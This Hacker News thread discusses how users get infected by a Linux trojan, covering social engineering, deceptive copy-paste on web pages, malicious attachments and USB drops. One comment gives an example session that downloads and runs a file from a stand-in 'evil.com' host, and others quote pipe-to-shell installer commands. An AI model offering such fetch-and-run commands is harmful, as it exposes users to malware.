Hacker News Reader

Comment by babuskov | Hacker News Reader

I read the article twice, but failed to find the attack vector. How would you get infected by this, short of running it yourself manually?

View on HN

It's a trojan, not a worm

http://en.wikipedia.org/wiki/Trojan_horse_(computing) http://en.wikipedia.org/wiki/Computer_worm

That should be obvious from reading the linked article, and I think someone asking for the attack vector would know this as well. It is a valid question, we know that people are tricked into installing the trojan but every article about this so far has been light on details as to how they are tricked. A browser exploit, malicious software repository, no confirmation on anything so far.

Afaict this does not include any sort of remote exploit of linux, so it would probably rely on social engineering or something similiar. Have a look at the earlier discussion at HN: https://news.ycombinator.com/item?id=6185932

The articles call it a "Trojan", so I expect they trick people into installing it.

It tricks users who blindly cut+paste console commands.

Yet another reason why command line literacy is important, even with "polished" distros. (Particularly if those polished distros have a habit of removing GUI configuration in the name of "simplification", pushing users to forums to find fixes that they can paste into their terminal...)

Even command line literate people can fall victim to copy and paste exploits. If you are copying from a non-trusted website, you might be tempted to read the code that you are copying, decide that it is safe, and copy it. The problem is that with HTML, it is possible that the website could make you copy something in addition to what you actually see, and therefore still be able to execute arbitrary code even though you 'audited' it before hand.

I suspect that most people who can find the console will notice what's going on with a session like this:

    $ wget evil.com/trojan
    $ chmod +x trojan
    $ ./trojan

Maybe it's more likely to hit those who double-click unwisely?

Not neccessarily: http://thejh.net/misc/website-terminal-copy-paste

Remember that a year or two ago all of the public instructions for installing nodejs were of the form.

    sudo wget http://example.com/node/install.sh | sh

so it's not like it's only newbies who blindly run scripts as root.

Similar to how Meteor is installed: curl https://install.meteor.com | /bin/sh

After downloading it asks for your password.

Same way as the larger part of other operating systems get infected.

You trick people to install/run something. Mail with attachments, perhaps there's a vulnerability in a pdf reader, openoffice, some media player to exploit perhaps the user will actually run that executable you sent. Download links with added malware. Drop a custom usb key and exploit the USB stack.

Reply on news.ycombinator.com